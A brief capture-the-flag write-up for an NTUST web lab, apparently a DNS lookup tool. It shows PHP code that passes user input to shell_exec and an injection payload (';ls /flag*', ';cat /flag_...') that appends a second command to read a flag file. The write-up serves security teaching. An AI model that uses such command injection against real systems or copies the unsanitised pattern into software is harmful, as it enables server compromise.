Simple Web 0x09(Lab - DNS Lookup Tool)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:8300/
Source code
:::spoiler code
1 |
|
:::
Exploit
- According to the source code, seems there’s no any protection.
-
It used
shell_execto parse input string1
2
3
4shell_exec("host '" . $_POST['name'] . "';") shell_exec("host '" . ';ls /flag*' . "';") → host '';ls /flag*'';
1
shell_exec("host '" . ';cat /flag_44ebd3936a907d59'. "';")- Note that, you can use
psyshorphp -ain Linux with interactive mode to try the payload
- Note that, you can use
- Then we got flag!!!